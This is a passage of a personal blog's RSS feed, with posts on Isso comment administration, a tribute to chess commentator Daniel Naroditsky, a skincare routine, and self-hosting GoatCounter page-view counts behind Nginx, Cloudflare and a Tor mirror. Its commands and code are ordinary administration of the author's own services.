    +  margin-right: .5rem;       /* gives "edit" and "delete" some breathing room */
    +  text-decoration: none;
    +}
    +.isso-comment-footer a:hover { text-decoration: underline; }
    +
    +/* keep name/email/website stacked, slightly larger */
    +.isso-auth-section .isso-input-wrapper {
    +  display: block;
    +  margin: .35rem 0;
    +}
    +.isso-auth-section label { font-size: .95rem; }
    +.isso-auth-section input[type="text"],
    +.isso-auth-section input[type="email"],
    +.isso-auth-section input[type="url"] {
    +  width: 100%;
    +  font-size: 1rem;
    +  padding: .5rem .6rem;
    +}
    +

    What changed (the fixes I actually made)

    +
      +
    1. +

      Theme correctness for Giscus.
      +PaperMod doesn’t add .light—it only toggles .dark and stores pref-theme. I now:

      +
        +
      • read localStorage.pref-theme first,
      • +
      • fall back to class/data-theme, then
      • +
      • fall back to OS preference.
        +I also re-theme the Giscus iframe on every toggle via postMessage.
      • +
      +
    2. +
    3. +

      Isso over Tor.
      +On the .onion vhost, I moved the proxy to a ^~ /isso/ block so it beats the static regex. That fixed the 404 on /isso/js/embed.min.js.

      +
    4. +
    5. +

      UI polish.

      +
        +
      • Unified button/link color across themes,
      • +
      • ensured “edit”/“delete” aren’t touching,
      • +
      • kept the author/email/website inputs stacked, and
      • +
      • left Submit/Preview styled and grouped.
      • +
      +
    6. +
    +

    Sanity check

    +
      +
    • Toggle the theme: Giscus switches between noborder_light and dark_dimmed without reload.
    • +
    • Open DevTools → Network on onion: /isso/js/embed.min.js loads with 200.
    • +
    • Switcher buttons swap panels instantly; Giscus only loads when clicked.
    • +
    +

    8) Final notes!

    +

    I could not fully fix the style of Isso. +CSS is not easy… drat!

    +

    I don’t think anyone actually reads the blog, let alone comment on it. +But it felt cool to have a comment section and also RSS for it. +I had a lot of not so fun debugging experience, and will probably work on the styling to make it look right, but for now I’m happy with it! ^^

    +

    Admin note — Delete all Isso comments for a single post

    +

    This note is for future me: how to remove every comment tied to one post in Isso.
    +Tested with SQLite-backed Isso (default). Works whether you serve via clearnet or .onion — because this operates directly on the database.

    +
    +

    TL;DR (host with SQLite)

    +
    +

    Replace the placeholders for DB and POST_URI first.

    +
    # 0) Variables — edit these two lines for your setup
    +DB="/var/lib/isso/comments.db"          # path to your Isso SQLite DB (check isso.conf: [general] dbpath)
    +POST_URI="/posts/skin_routine/"         # the post's URI as stored by Isso (often just the path)
    +
    +# 1) Backup (always do this!)
    +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +
    +# 2) Inspect: find the thread row and preview the comments
    +sqlite3 "$DB" "
    +.headers on
    +.mode column
    +SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
    +SELECT id, tid, created, author, text
    +FROM comments
    +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%')
    +ORDER BY created DESC
    +LIMIT 25;
    +"
    +
    +# 3) Delete all comments for that post (thread)
    +sqlite3 "$DB" "
    +DELETE FROM comments
    +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');
    +"
    +
    +# 4) (Optional) Remove the now-empty thread row too
    +sqlite3 "$DB" "
    +DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
    +VACUUM;
    +"
    +
    +# 5) Done. Isso usually picks this up automatically.
    +#    If you're containerized and want to be safe:
    +# docker restart <isso_container_name>
    +

    +

    If running Isso in Docker

    +

    Open a shell in the container, then run the same steps:

    +
    docker exec -it <isso_container_name> /bin/sh
    +
    +# Inside the container:
    +DB="/db/comments.db"    # or /data/comments.db, check your image/volume mapping
    +POST_URI="/posts/skin_routine/"
    +
    +sqlite3 "$DB" ".backup '/db/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +sqlite3 "$DB" "SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';"
    +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
    +sqlite3 "$DB" "DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
    +exit
    +
    +# Optionally restart the container:
    +docker restart <isso_container_name>
    +

    +

    Notes & gotchas

    +
      +
    • Find the real DB path: In isso.conf (often /etc/isso/isso.conf or within your container at /config/isso.conf), look for: +
      [general]
      +dbpath = /var/lib/isso/comments.db
      +
    • +
    • What goes in POST_URI? Isso stores a uri string per thread. With the default embed config, it’s usually the path (/posts/<slug>/). If you’re unsure, list recent threads: +
      sqlite3 "$DB" ".headers on" ".mode column" "SELECT id, uri FROM threads ORDER BY id DESC LIMIT 50;"
      +
    • +
    • Clearnet vs .onion: If you load the same post under multiple origins and your embed setup stores full origins, you may have multiple thread rows. The LIKE query above deliberately matches any uri containing your POST_URI to catch those.
    • +
    • Rollback: To undo, stop Isso (optional), replace the DB with your backup (comments.YYYY-MM-DD-HHMMSS.backup.sqlite3), and start Isso again.
    • +
    • HTTP API option: Isso supports DELETE /<comment_id> if admin endpoints/auth are enabled. For bulk removal it’s simpler and safer to use SQLite directly.
    • +
    • Safety: Always run a backup first, and preview with the SELECT before you run the DELETE.
    • +
    +
    +

    One-liners for the impatient

    +
    DB="/var/lib/isso/comments.db"; POST_URI="/posts/skin_routine/"
    +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
    +sqlite3 "$DB" "DELETE FROM threads  WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
    +

    +

    Isso container: quick checks & fixes for future me! (thank past me later ^^)

    +

    Find the container

    +
    docker ps -a --format 'table {{.ID}}	{{.Names}}	{{.Status}}	{{.Ports}}' | grep -i isso
    +

    Inspect basic state

    +
    docker inspect -f 'Name={{.Name}}  Running={{.State.Running}}  Status={{.State.Status}}  StartedAt={{.State.StartedAt}}  FinishedAt={{.State.FinishedAt}}' isso
    +

    Logs

    +
    docker logs --tail=200 isso
    +docker logs -f isso
    +

    Ports & reachability

    +
    docker port isso
    +sudo ss -ltnp | grep ':8080 '
    +curl -i http://127.0.0.1:8080/
    +

    Restart policy (keep it running)

    +
    docker inspect -f '{{.HostConfig.RestartPolicy.Name}}' isso
    +docker update --restart unless-stopped isso
    +

    Start/stop the container

    +
    docker start isso
    +docker stop isso
    +

    Who/what stopped it (events)

    +
    docker events --since 24h --filter container=isso
    +

    Common config issue: duplicate options/sections +If logs show DuplicateOptionError or DuplicateSectionError, fix /config/isso.cfg (remove duplicate [server] blocks or duplicate public-endpoint).

    +
    nl -ba /config/isso.cfg | sed -n '1,120p'
    +grep -n '^\[server\]' /config/isso.cfg
    +grep -n '^public-endpoint' /config/isso.cfg
    +

    Using Docker Compose (run these in the directory with your compose file)

    +
    docker compose ps
    +docker compose logs --tail=200 isso
    +docker compose up -d isso
    +

    If the container doesn’t exist (create/recreate)

    +
    docker image ls | grep -i isso
    +
    +docker run -d   --name isso   -p 8080:8080   -v /srv/isso/config:/config   -v /srv/isso/db:/db   --restart unless-stopped   ghcr.io/posativ/isso:latest
    +

    Optional: exclude from auto-updaters (like Watchtower)

    +
    docker update --label-add com.centurylinklabs.watchtower.enable=false isso
    +

    This note is intentionally self-contained so I can paste it at the end of the blog post as a maintainer-only appendix.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
    +jSr2VxAAgdHpf+4EIx2ASmSB+MeAHp7s1+2EPhmn96QuhiQO9Dr1e9250LbF/R8S
    +A0zcN8mmyOtKv2rediU6HsGy6ddwdTAtpQDRvMw2Xuk2pBUZaG5LuvlNgSse9zVB
    +dcG3GVLuMSRgNmyolhFoSWn46aa+3wZGrzYZQVUt8op+2fVp36agq2YoB4zeGKSm
    +Ri43rO/kTingD0bclOA+SMbHpKQOcLyHwDlVrqIjVXcJ/kKLcm1G3Z5owo+gB6jY
    +EMjxYiqyf5Zcbt4q/WzojbHLffjXoMzOgZ1sDOIObVQni9atgV49X4oIZ3+xSXSH
    +W7ZbH6sg9LlrU8djddBXUKB0i72IVZ/4F5icVFUcK+szOmASy8fFP7gCOcCRATtb
    +eNIFtiAlRXI0CqJdeq5fE9b+LX8lRpNnX229tg7GFgddzYUmFkKAsoJ9EUzUvUHm
    +Xzqlm9DKy9LG/CeOxo473fIo4YCT2fcmMnt9nCZW4iDKOVl1nCupkTn5qsfNdpQM
    +KycaNwsLBHPZWV+jDon8NEzYQk07n1Q9rlEWdL0egvn2S+pYnvLZbfi5dRhe+ciC
    +qcEW/I1NZZRdU7MUEzhWvhbWsZtTkm6OevXjnqACv91DIQv7tNrKwZuASnpFeDRa
    +GE0QYRrsaI3vCLR3cUmBAFsvZdwgzH0RQLb8w21XBW/BoFvixbA=
    +=9k+S
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/new_features.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/new_features.md.asc
    +gpg --verify new_features.md.asc new_features.md
    +  
    +
    + + +]]>
    Danyahttps://blog.alipour.eu/posts/danya/Tue, 21 Oct 2025 08:41:58 +0000https://blog.alipour.eu/posts/danya/A sad note about someone I knew in the online world.Daniel Naroditsky has passed away. +I’ve never been a pro chess player, but I do follow some of the fun ones, and occasionally Magnus. +I like Fabi a lot, but my all-time favorite is Hikaru. +Danya was my favorite commentator. +Someone who was so fun to watch explaining complex positions. +I think he was indeed, if not the best, one of the best at it.

    +

    The occasion is grim. +However, let’s remember the immense pressure he was under. +Let’s remember how he was accused of cheating by Kramnik many, many times. +By a former world champion. +Someone who has accused many and has ruined their lives for no reason. +The likes of Hikaru!

    +

    The problem is that Hikaru kind of went out of his way and cast doubt on Hans in the past. +I don’t know how to relate to any of these now. +I do think this is some stupid, sad consequence that these baseless accusations have. +All players have their exceptionally good days, and many many bad days. +These accusations make no sense.

    +

    I do think Danya went under so much pressure from these allegations, though. +I don’t know if he ever cheated or not, but like, what’s the point now? +He is gone. +He’ll never be back.

    +

    I don’t know what the cause was, but I hope he didn’t take his own life. +I don’t know how the world will ever forgive FIDE or Kramnik for this. +This bullying in plain sight is just brutal.

    +

    Rest in peace, Danya. +I don’t think the community ever forgets your amazing commentaries, and what a vibrant and nice character you were.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM
    +jSpazRAAkvfyfZFtYRnSapnmBsWF+f6Sj42Cy5T5PFq6C+DdQdOq1VZjGComKjXv
    +YqD4dkiBNsFXehp/DLUXxh+jvme1icBas5tZJooJX+ykhlDflRRheyz3k/3fpVV2
    +fo48rh5vV3cn1zDUZA2+XJ6I4FMFtUBCTVwtEVTCFNeut2CJzvUnCY3ocQDtBC2O
    +u6PH0hwDYvarj4RFEadIq2+vfN9mSpgTmmoTm7rmKPtKXcZ8DYwS+7tS8RZnYMX9
    +BpaFLH07aYgusamoSS51m6xCL1hSX3tq709bBCJT8/p7Mva/LmwWo3aUH6PqFCY2
    +eTnhxoMGldwPp4PKq3bGt6KrI2zN+P4dTq7LWUdmrlHsxyLGaVhymG4XdrWYxG4c
    +9JhD3FFuNX6u3TMekt9I6BZMmNHX6RLl2Nka/ohXV+1HyH/1flk/47szJXGZ6Gg+
    +NEWWr1rkFZZWju2cVzjprquVbLbRlBuTiBvF3qSaPjhN6VH/XBFkXr8sv4/kSq6B
    +Gn8TtHsqrljhID2OBIv21R5SvtqA61pHzdC47Ie1mzvF4WupJjAA0ekPEBoRgc7X
    +xc7JMmK+AHfIFgEwQUKfgFQ0w89qEUKZve5ThyXjok/9EnvygseomqwGV30DN0S8
    +zVuQEy3O7tkGShRjgnS+T4QddXNk6ciGzEisIIxyFEzJ6P6KSr4=
    +=BEoA
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/danya.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/danya.md.asc
    +gpg --verify danya.md.asc danya.md
    +  
    +
    + + +]]>
    Skin routinehttps://blog.alipour.eu/posts/skin_routine/Mon, 20 Oct 2025 18:47:04 +0000https://blog.alipour.eu/posts/skin_routine/My skin routine!I don’t know how to answer the “why?” or “whyyyyy?” or even “why the f***?” I have a skin routine. +Last year, after I came to Germany, I asked a female friend about how to do skin care. +She touched my face and said, “Knock on wood, you have good skin!”. +So… idk why I decided to take extra care of my skin, but I did!

    +

    Generally speaking, things like this make me feel good about myself. +Like I’m doing something positive while not being tortured! +It’s always fun to rub cream on your face or gently massage it. +Even cleaning the face skin feels refreshing. +Everything also smells nice!

    +

    Oh… and yeah, idk why I’m not good at excercising, but I really like to do things like this! +Weird. +I should definitely start going to the gym and working out. +It is needed for me.

    +

    So… I decided to watch a few Youtube videos, and a guide about skin care for men. +My routine is super simple! +I have a face cleanser that I use first and wash my face with it. +It always feels refreshing and nice to use it! +I initially bought the CeraVe cleaner, but switched to “Jack Black Pure Clean Daily Facial Cleanser” after that one ended. +The cleanser deeply cleans your skin, and almost all of the bad things that might be on your skin. +You don’t need to use the cleanser in the morning, but you should definitely use it at night. +It’s ok to wash your face with water in the morning.

    +

    The next step for me is applying the toner. +I use “NIVEA Derma Skin Clear Toner”. +It smells really nice and is quite refreshing to apply to the skin! +The toner adjusts the PH of your skin, and deep cleans things that the cleanser could not. +I gently rub it and let it dry; no rinsing is required here.

    +

    After this, I apply an exfoliant to exfoliate my skin. +I’ve been using “Paula’s Choice Skin Perfecting 2% BHA Liquid Exfoliant” so far, but this time I got “BULLDOG Original Exfoliating Face Scrub for Purer Skin”. +Haven’t used it yet, but Paula’s choice one is definitely good. +The thing with it is that you don’t have to massage it; it’s not physical; it’s an acid. +I prefer the scrubby ones, but I think these are better for your skin. +I’ll see how I like the new one, and if I prefer it or not. +No rinsing is required here either.

    +

    I then apply my eye cream, which is also from CeraVe. +Haven’t really seen much of a difference under my eyes, but it is supposed to help. +I don’t know! It feels good to apply the eye cream regardless.

    +

    The next step for me is the best one! +Moisturiser. +Yayy!!! +It actually feels weird to use a moisturiser since I’ve watched Mortuary Assisant’s gameplay, and the last step there for embalming the body is applying moisturiser. +Feels weird. +The one I use is water-based, hence perfect for men. +I use “Neutrogena Hydro Boost Aqua Gel Moisturiser”. +As a man, if you use oil-based products, you’ll get acne. +So don’t.

    +

    I learned to use pads for applying some of these stuff, it feels cooler when applying the things to your face, and it specifically feels good when you gently tap your face with a cotton pad! ^^

    +

    And… last but not least is applying sun screen. +Nothing special here. +I just make sure to use SPF 50+ sunscreen for better protection.

    +

    Even if it does nothing, it still makes me feel good about myself.

    +

    The whole routine does not take more than 10 min, but gives me an energy boost and a lot of good vibes both at night and in the morning!

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
    +jSpuHQ//XvJ3YkPuPbDbaBf9PcLKftYmTRA2WWn14l1ZnLAav0MeEPVlwENAMQ5W
    +hwAwfw1yF1KxMwLcskXYTpghSfIHegDjaXJqWctBQFJ8sdCUJNQyk+LTcJ1EXmED
    +HhZrZJw8UsFcgyLs56pbBsIjjFMI4PbFWPxLgPu+tEpgIY8fSXzIb/gsUb/K3vZb
    +JsDUyLjHwsoCn9oQFp/hE54i3LjuWtPipnSlxmWUx7AhtZUVICCQJP3/KelhXQdi
    +2fPmTsVNIzRtCxjnwII6KZtqKtj1mEaIFmmykKIsRpyNIRvNjDFkCxor+NAYKJmC
    +veUzhll/LpNDAnrMAZ8ykEyhInlIHFtsH8PKiWDUhhrP4eggLmnBBFYVHrZ36BU9
    +48pn5odcK1Pz37rHwQKqm8RgL5PC09s2XWo6BJZGUwHjMDq8Kxtswp5JrRsAlmmi
    +8yk4/W4ASJfrE5ns+PSC24ogyNx/tu/2NiT5IlmpSilr5CGN9HhbfvXERM3OGHwF
    +MeTRc61McdgHDHvg0V1PdE4Pe/wLZgzKHu/H+1E04P1uVHj102RXV7HFfYYDv59b
    +suCSlTj/j2dNZuwGaw8wG2U17nGng9XkCJ1J2xXKKUb2gqIpOHVPF3yRGBnZwvpX
    +1bPgM8l3ItO6T55D4Ala2glHtQnhJRmi9GcdI47GpNoc2PWWKrA=
    +=dBAx
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/skin_routine.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/skin_routine.md.asc
    +gpg --verify skin_routine.md.asc skin_routine.md
    +  
    +
    + + +]]>
    A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT)https://blog.alipour.eu/posts/papermod-views-debugging-story/Sat, 18 Oct 2025 10:45:00 +0000https://blog.alipour.eu/posts/papermod-views-debugging-story/I tried to add a simple &lsquo;views&rsquo; counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix.I only wanted a tiny “views” badge next to my RSS link—just a friendly nudge that real humans were reading my words. PaperMod makes it easy to tuck little UI bits in the footer, so I dropped in Busuanzi (that neat, no-account page/site view counter) and called it a day.

    +

    The thing is, I don’t think the counter even works correctly. +Or maybe I’m undermining my blog popularity! +But regardless, it was a small stiching task that I did on this lovely Friday evening. +The day before my next term of German class starts. +The day before playing deadface CTF that I’ve been counting days for.

    + +

    First I got the layout right. PaperMod supports extension partials, so I used a simple flex row to keep things side by side:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span id="busuanzi_container_site_pv">
    +    Site views: <span id="busuanzi_value_site_pv">—</span>
    +  </span>
    +  <span aria-hidden="true">·</span>
    +  <span id="busuanzi_container_site_uv">
    +    Visitors: <span id="busuanzi_value_site_uv">—</span>
    +  </span>
    +</div>
    +

    So far, so good. The labels showed up. The numbers, though? Nothing. Just an em dash. I shrugged—maybe it was a caching thing.

    +

    The first round of checks

    +

    I added the script site‑wide in layouts/partials/extend_head.html:

    +
    <script src="//cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js" defer></script>
    +

    Refreshed. Still blank.

    +

    DevTools time. Network tab: the script does load:

    +
      +
    • Request URL: https://cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js
    • +
    • Request Method: GET
    • +
    • Status Code: 304 Not Modified
    • +
    • Referrer Policy: strict-origin-when-cross-origin
    • +
    • User-Agent: a normal Chromium build (nothing exotic)
    • +
    +

    No red flags. Just a perfectly normal 304.

    +

    Maybe my IDs were wrong? Busuanzi has a couple of flavors: busuanzi_value_* (with container wrappers) or shorthand like busuanzi_site_pv. I tried both, carefully, one at a time. Still… .

    +

    The odd message

    +

    Then it flashed for a moment—the Chinese line that made me google twice to be sure I saw it right:

    +
    +

    “域名过长,已被禁用 views”

    +

    That’s “domain name too long, disabled.” Wait, what?

    +

    I checked my hostname: blog.alipourimjourneys.ir. I counted: 27 characters. Busuanzi’s limit? 22. Suddenly, everything clicked. The script loads, but the service refuses to count for long domains, so the placeholders never fill.

    +

    Two ways out

    +

    At this point I had two clean options:

    +
      +
    1. Keep Busuanzi and move the site to the apex domain (short enough).
    2. +
    3. Keep my beloved blog. subdomain and swap in Vercount, a Busuanzi‑style drop‑in without the 22‑char limit.
    4. +
    +

    I liked the subdomain (habit, mostly), so I tried Vercount.

    +

    The swap (five-minute fix)

    +

    I removed the Busuanzi script and added Vercount instead:

    +
    <!-- extend_head.html -->
    +<script defer src="https://events.vercount.one/js"></script>
    +

    I kept the same tidy footer row, but switched the IDs to Vercount’s:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span>Site views: <span id="vercount_value_site_pv">—</span></span>
    +  <span aria-hidden="true">·</span>
    +  <span>Visitors: <span id="vercount_value_site_uv">—</span></span>
    +</div>
    +

    For per‑post counts (in the post meta), I added:

    +
    <span id="vercount_value_page_pv">—</span> views
    +

    Deploy. Refresh. Numbers.

    +

    But if you want to stay with Busuanzi…

    +

    If your apex domain is short enough, pointing the site there works fine. The gist:

    +
      +
    • +

      Set baseURL in Hugo to the apex:

      +
      baseURL = "https://alipourimjourneys.ir/"
      +
    • +
    • +

      Add a 301 redirect from the long subdomain to the apex (Cloudflare, Netlify, Nginx—pick your tool).

      +
    • +
    • +

      Keep your Busuanzi spans as you had them; once the host fits the limit, they’ll populate.

      +
    • +
    +

    Post‑mortem checklist (a.k.a. things I learned)

    +
      +
    • If the script loads but you get blanks, it’s not always IDs or caching. Sometimes it’s a service rule.
    • +
    • Busuanzi refuses long hostnames (>22 chars) and ignores localhost. On those hosts, the placeholders stay empty or show the Chinese “disabled” note.
    • +
    • Don’t mix providers on the same page. Load exactly one script (Busuanzi or Vercount).
    • +
    • CSP and blockers matter. If you run a strict Content‑Security‑Policy or heavy ad blockers, they can block the script. Test in a clean profile and allow the script origin.
    • +
    +

    Happy ending

    +

    Now my footer shows RSS, site views, and visitors on a single neat line, and each post has a tiny “views” chip that quietly ticks upward. I got the tiny badge I wanted—and a reminder that the smallest features can hide the most interesting puzzles.

    +

    If you hit the same wall, check the hostname length first. It might save you an afternoon—and lead you to a solution you’ll feel weirdly proud of.

    +

    Final notes

    +

    Yea… I just felt this feature was missing, and it’s good to have it there. +I hope I stop adding things to the blog, and just keep writing in it. +I’ve spent too much time on it, and it feels like wasted time.

    +
    +

    Change of plans: Self‑hosting GoatCounter for PaperMod (Docker + Cloudflare + Onion)

    +

    This is the self‑host part I ended up with: Docker for GoatCounter, Cloudflare (orange‑cloud) in front, Nginx on the server as reverse proxy, plus my .onion mirror counting to the same GoatCounter site. Paste this whole section at the end of the post.

    +
    +

    1) Clean up old counters (optional, once)

    +
    # From your Hugo site root
    +grep -RinE "busuanzi|vercount|vercount_value_|busuanzi_value_" .
    +

    Remove any matching <script> and leftover *_value_* spans you no longer want.

    +
    +

    2) Run GoatCounter with Docker Compose

    +

    Minimal docker-compose.yml in ~/goatcounter:

    +
    services:
    +  goatcounter:
    +    image: arp242/goatcounter:2.6
    +    container_name: goatcounter
    +    ports:
    +      - "127.0.0.1:8081:8080"   # bind only to localhost; nginx will proxy
    +    volumes:
    +      - goatcounter-data:/home/goatcounter/goatcounter-data
    +    restart: unless-stopped
    +
    +volumes:
    +  goatcounter-data: {}
    +

    Start:

    +
    docker compose pull && docker compose up -d
    +

    Initialize the site (replace email if needed):

    +
    docker compose exec goatcounter   goatcounter db create site   -vhost=statsblog.alipourimjourneys.ir   -user.email=iman.alip2001@gmail.com
    +
    +

    If you ever see “no site at this domain” on localhost: use the exact vhost above.

    +
    +

    3) Cloudflare + Origin certificate (CF → origin TLS)

    +
      +
    • DNS: statsblog.alipourimjourneys.ir → server IP (proxied/orange).
    • +
    • SSL/TLS mode: Full (strict).
    • +
    • Issue a Cloudflare Origin Certificate for statsblog.alipourimjourneys.ir and save on the server:
    • +
    +
    sudo mkdir -p /etc/ssl/cloudflare
    +sudo nano /etc/ssl/cloudflare/origin.crt   # paste PEM
    +sudo nano /etc/ssl/cloudflare/origin.key   # paste key
    +sudo chown root:root /etc/ssl/cloudflare/origin.{crt,key}
    +sudo chmod 644 /etc/ssl/cloudflare/origin.crt
    +sudo chmod 600 /etc/ssl/cloudflare/origin.key
    +

    +

    4) Nginx vhost for the stats subdomain

    +
    # /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf
    +server {
    +  listen 80;
    +  server_name statsblog.alipourimjourneys.ir;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  listen 443 ssl http2;
    +  server_name statsblog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/ssl/cloudflare/origin.crt;
    +  ssl_certificate_key /etc/ssl/cloudflare/origin.key;
    +
    +  # Proxy to the container on localhost
    +  proxy_set_header Host              $host;
    +  proxy_set_header X-Real-IP         $remote_addr;
    +  proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto $scheme;
    +
    +  location / { proxy_pass http://127.0.0.1:8081; }
    +}
    +

    Enable & reload:

    +
    sudo ln -s /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +

    +

    5) Hugo integration (clearnet + onion, singular/plural + “0 views”)

    +

    Self‑host count.js so the onion mirror never fetches a third‑party script:

    +
      +
    • Save the official count.js as static/js/count.js in your Hugo repo.
    • +
    +

    Then add this to layouts/partials/extend_head.html (loader + helper):

    +
    <!-- Loader: choose endpoint based on hostname -->
    +<script>
    +(function () {
    +  var ONION = /\.onion$/i.test(location.hostname);
    +  window.goatcounter = { endpoint: ONION ? '/count' : 'https://statsblog.alipourimjourneys.ir/count' };
    +  var s = document.createElement('script');
    +  s.async = true; s.src = '/js/count.js';
    +  document.head.appendChild(s);
    +})();
    +</script>
    +
    +<!-- Helper: inline meta counts (post pages + lists) and totals -->
    +<script>
    +(function () {
    +  const ONION = /\.onion$/i.test(location.hostname);
    +  const GC_HOST = ONION ? '' : 'https://statsblog.alipourimjourneys.ir'; // '' = same-origin on .onion
    +  const SING='view', PLUR='views';
    +  const nf = new Intl.NumberFormat();
    +
    +  function ready(fn){ if (document.readyState !== 'loading') fn(); else document.addEventListener('DOMContentLoaded', fn); }
    +  function gcPath(){ try { return (window.goatcounter && window.goatcounter.get_data) ? window.goatcounter.get_data().p : location.pathname; } catch { return location.pathname; } }
    +  async function fetchCount(path){
    +    try {
    +      const r = await fetch(`${GC_HOST}/counter/${encodeURIComponent(path)}.json?t=${Date.now()}`, { credentials:'omit' });
    +      if (r.status === 404) return 0;
    +      if (!r.ok) throw 0;
    +      const j = await r.json();
    +      const n = Number(String(j.count).replace(/,/g,''));
    +      return Number.isFinite(n) ? n : 0;
    +    } catch { return null; }
    +  }
    +  const label = (n) => (n === null ? '—' : `${nf.format(n)} ${n === 1 ? SING : PLUR}`);
    +
    +  ready(async function () {
    +    // A) Single post: add to existing meta row + small bottom
    +    const post = document.querySelector('.post-single');
    +    if (post) {
    +      const meta = post.querySelector('.post-header .post-meta, .post-header .entry-meta, .post-meta');
    +      const path = gcPath();
    +      const n = await fetchCount(path);
    +      if (meta) {
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        span.textContent = label(n ?? 0);
    +      }
    +      const after = post.querySelector('.post-content') || post;
    +      let bottom = post.querySelector('.post-views-bottom'); if (!bottom) { bottom = document.createElement('div'); bottom.className='post-views-bottom'; after.insertAdjacentElement('afterend', bottom); }
    +      bottom.textContent = label(n ?? 0);
    +    }
    +
    +    // B) Lists (/posts, home, sections): show “0 views” instead of hiding
    +    const cards = document.querySelectorAll('article.post-entry');
    +    await Promise.all(Array.from(cards).map(async (card) => {
    +      const meta = card.querySelector('.entry-footer, .post-meta');
    +      const link = card.querySelector('a.entry-link, h2 a, .entry-title a');
    +      if (!meta || !link) return;
    +      try {
    +        const u = new URL(link.getAttribute('href'), location.origin);
    +        if (u.origin !== location.origin) return;
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        const n = await fetchCount(u.pathname);
    +        span.textContent = label(n ?? 0);
    +      } catch {}
    +    }));
    +
    +    // C) Site totals (optional placeholders)
    +    const pvEl = document.getElementById('vercount_value_site_pv');
    +    if (pvEl) { const n = await fetchCount('TOTAL'); pvEl.textContent = (n===null) ? '—' : nf.format(n); }
    +  });
    +})();
    +</script>
    +

    Style so meta items stay inline with middle dots (PaperMod‑like). Put this in assets/css/extended/goatcounter.css:

    +
    .post-single .post-header .post-meta,
    +.post-single .post-header .entry-meta,
    +.post-entry .entry-footer,
    +.post-entry .post-meta {
    +  display:flex; align-items:center; flex-wrap:wrap; gap:.35rem;
    +}
    +.post-single .post-header .post-meta > *,
    +.post-single .post-header .entry-meta > *,
    +.post-entry .entry-footer > *,
    +.post-entry .post-meta > * {
    +  display:inline-flex; align-items:center; white-space:nowrap;
    +}
    +.post-single .post-header .post-meta > * + *::before,
    +.post-single .post-header .entry-meta > * + *::before,
    +.post-entry .entry-footer > * + *::before,
    +.post-entry .post-meta > * + *::before {
    +  content:"·"; margin:0 .5rem; opacity:.6;
    +}
    +.post-views-bottom { margin:.6rem 0 0; opacity:.75; font-size:.95em; }
    +

    +

    6) Count Tor (.onion) visits into the same site

    +

    In the .onion server block, proxy GoatCounter endpoints to the same site by forcing the Host header:

    +
    # inside: server { ... } for fjthpp2h3mj2r....onion
    +
    +location = /count {
    +  proxy_pass http://127.0.0.1:8081/count;
